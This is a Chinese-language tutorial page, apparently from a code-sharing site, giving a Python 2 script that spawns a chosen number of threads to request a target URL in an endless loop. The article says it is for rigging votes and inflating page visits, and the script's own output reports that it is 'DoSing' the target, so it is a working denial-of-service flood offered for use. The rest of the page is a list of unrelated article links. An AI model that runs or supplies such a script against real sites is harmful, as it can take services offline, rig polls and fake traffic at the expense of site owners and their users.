python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python打开网页和暂停实例
Sep 30 Python
Flask入门教程实例:搭建一个静态博客
Mar 27 Python
用Python脚本来删除指定容量以上的文件的教程
May 04 Python
Python内置函数delattr的具体用法
Nov 23 Python
python实现多线程行情抓取工具的方法
Feb 28 Python
python实现RabbitMQ的消息队列的示例代码
Nov 08 Python
python将一个英文语句以单词为单位逆序排放的方法
Dec 20 Python
pyqt5 禁止窗口最大化和禁止窗口拉伸的方法
Jun 18 Python
python原类、类的创建过程与方法详解
Jul 19 Python
django fernet fields字段加密实践详解
Aug 12 Python
一篇文章弄懂Python关键字、标识符和变量
Jul 15 Python
ROS系统将python包编译为可执行文件的简单步骤
Jul 25 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
php中关于codeigniter的xmlrpc的类在进行数据交换时的类型问题
2011/07/03 PHP
在PHP中使用redis
2013/11/04 PHP
Windows和Linux中php代码调试工具Xdebug的安装与配置详解
2014/05/08 PHP
php表单加入Token防止重复提交的方法分析
2016/10/10 PHP
用javascript实现的仿Flash广告图片轮换效果
2007/04/24 Javascript
apycom出品的jQuery精美菜单破解方法
2011/02/18 Javascript
背景图跟随鼠标移动的Mootools插件实现代码
2011/12/12 Javascript
ActiveX控件与Javascript之间的交互示例
2014/06/04 Javascript
解决checkbox的attr(checked)一直为undefined问题
2014/06/16 Javascript
javascript下拉列表中显示树形菜单的实现方法
2015/11/17 Javascript
AngularJS Controller作用域
2017/01/09 Javascript
jQuery实现简单的抽奖游戏
2017/05/05 jQuery
Angular 2.0+ 的数据绑定的实现示例
2017/08/09 Javascript
CSS3结合jQuery实现动画效果及回调函数的实例
2017/12/27 jQuery
详解vue-cli项目中怎么使用mock数据
2018/05/29 Javascript
微信小程序中进行地图导航功能的实现方法
2018/06/29 Javascript
layer.open关闭父窗口 以及调用父页面的方法
2018/08/17 Javascript
微信小程序 腾讯地图显示偏差问题解决
2019/07/27 Javascript
JavaScript生成一个不重复的ID的方法示例
2019/09/16 Javascript
JavaScript十大取整方法实例教程
2020/12/03 Javascript
JavaScript代码实现微博批量取消关注功能
2021/02/05 Javascript
python图片验证码生成代码
2016/07/02 Python
从零开始学Python第八周:详解网络编程基础(socket)
2016/12/14 Python
对Python进行数据分析_关于Package的安装问题
2017/05/22 Python
Python数据类型之Dict字典实例详解
2019/05/07 Python
python登录WeChat 实现自动回复实例详解
2019/05/28 Python
Python基于Serializer实现字段验证及序列化
2020/11/04 Python
windows系统Tensorflow2.x简单安装记录(图文)
2021/01/18 Python
关于canvas绘制模糊问题的解决方法
2019/09/24 HTML / CSS
欧尚俄罗斯网上超市:Auchan俄罗斯
2018/05/03 全球购物
Charles & Keith欧盟:新加坡时尚品牌
2019/08/01 全球购物
德国玩具商店:Planet Happy DE
2021/01/16 全球购物
Java面试笔试题大全
2016/11/23 面试题
KTV门卫岗位职责
2014/10/09 职场文书
2015幼儿园庆元旦活动方案
2014/12/09 职场文书
详解ZABBIX监控ESXI主机的问题
2022/06/21 Servers